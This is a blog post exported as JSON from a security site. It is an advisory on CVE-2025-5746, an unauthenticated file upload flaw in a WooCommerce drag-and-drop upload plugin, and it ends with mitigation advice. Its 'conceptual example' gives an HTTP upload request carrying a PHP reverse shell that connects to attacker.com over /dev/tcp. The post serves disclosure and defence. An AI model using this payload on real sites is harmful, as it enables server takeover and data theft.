{"id":58178,"date":"2025-07-07T21:55:05","date_gmt":"2025-07-07T21:55:05","guid":{"rendered":""},"modified":"2025-10-01T18:15:23","modified_gmt":"2025-10-02T00:15:23","slug":"cve-2025-5746-arbitrary-file-upload-vulnerability-in-woocommerce-plugin-for-wordpress","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-5746-arbitrary-file-upload-vulnerability-in-woocommerce-plugin-for-wordpress\/","title":{"rendered":"<strong>CVE-2025-5746: Arbitrary File Upload Vulnerability in WooCommerce Plugin for WordPress<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In the realm of cybersecurity, vulnerabilities are a constant threat, and staying aware of these threats is critical to maintaining a secure digital environment. Today, we will be discussing in detail about the CVE-2025-5746 vulnerability, a severe security flaw that affects the Drag and Drop Multiple File Upload (Pro) &#8211; WooCommerce plugin for WordPress. This vulnerability is concerning as it allows <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48469-critical-unauthenticated-firmware-upload-vulnerability\/\"  data-wpil-monitor-id=\"64844\">unauthenticated attackers to upload<\/a> arbitrary files on the affected site&#8217;s server, potentially leading to remote code execution.<br \/>\nWith a CVSS Severity Score of 9.8, this vulnerability poses a serious risk to WordPress sites making use of this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52890-critical-acl-bypass-vulnerability-in-incus-system-container-and-virtual-machine-manager\/\"  data-wpil-monitor-id=\"64748\">plugin<\/a> and could result in potential system compromise or data leakage. The following sections provide a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55244-azure-bot-service-elevation-of-privilege-vulnerability-a-comprehensive-analysis\/\"  data-wpil-monitor-id=\"86976\">comprehensive explanation of this vulnerability<\/a>, including its impact, how it works, and how it can be mitigated.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-5746<br \/>\nSeverity: Critical (CVSS 9.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6435-firefox-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"64801\">Potential system compromise and data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2862030902\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49885-severe-file-upload-vulnerability-in-harutheme-s-drag-and-drop-multiple-file-upload-pro-woocommerce-plugin\/\"  data-wpil-monitor-id=\"65319\">Drag and Drop Multiple File Upload<\/a> (Pro) &#8211; WooCommerce for WordPress (bundled with PrintSpace theme) | 5.0 &#8211; 5.0.5<br \/>\nDrag and Drop Multiple <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53260-unrestricted-file-upload-vulnerability-in-getredhawkstudio-file-manager-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"65358\">File Upload<\/a> (Pro) &#8211; WooCommerce for WordPress (standalone version) | Up to and including 1.7.1<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The CVE-2025-5746 vulnerability lies within the dnd_upload_cf7_upload_chunks() function of the Drag and Drop Multiple File Upload (Pro) &#8211; WooCommerce <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6755-wordpress-plugin-vulnerability-leads-to-arbitrary-file-deletion\/\"  data-wpil-monitor-id=\"65605\">plugin for WordPress<\/a>. This function lacks file type validation, allowing <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30131-unauthenticated-file-upload-vulnerability-in-iroad-dashcam-fx2-devices\/\"  data-wpil-monitor-id=\"64958\">unauthenticated attackers to upload arbitrary files<\/a> to the server.<br \/>\nWhile the execution of PHP is disabled via a .htaccess file, this safeguard can be bypassed in certain server configurations, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6436-critical-memory-safety-bugs-in-firefox-and-thunderbird-potentially-allowing-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"64768\">allowing potential remote code<\/a> execution. An attacker could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52717-sql-injection-vulnerability-in-lifterlms-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"65415\">potentially use this exploit to compromise the system<\/a> or leak data.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3139472702\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>A conceptual example of how this vulnerability might be exploited is shown below. While this example does not represent a specific, real-world exploit, it demonstrates the potential risk.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-content\/plugins\/drag-and-drop-multiple-file-upload\/contact-form-7\/dnd-upload-cf7.php HTTP\/1.1\nHost: victim-site.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file-0&quot;; filename=&quot;evil.php&quot;\nContent-Type: application\/x-php\n&lt;?php exec(&quot;\/bin\/bash -c &#039;bash -i &gt;&amp; \/dev\/tcp\/attacker.com\/4444 0&gt;&amp;1&#039;&quot;); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, an attacker is <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52207-critical-php-script-upload-vulnerability-in-mikopbx\/\"  data-wpil-monitor-id=\"65488\">uploading a malicious PHP<\/a> file (evil.php) that establishes a reverse shell back to the attacker&#8217;s server.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>The most recommended mitigation for this vulnerability is to apply the vendor-provided patch as soon as possible. If a patch is unavailable or cannot be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20217-denial-of-service-vulnerability-in-snort-3-detection-engine-of-cisco-secure-firewall-threat-defense-software\/\"  data-wpil-monitor-id=\"77116\">detecting and blocking attempts to exploit this vulnerability<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In the realm of cybersecurity, vulnerabilities are a constant threat, and staying aware of these threats is critical to maintaining a secure digital environment. Today, we will be discussing in detail about the CVE-2025-5746 vulnerability, a severe security flaw that affects the Drag and Drop Multiple File Upload (Pro) &#8211; WooCommerce plugin for WordPress. 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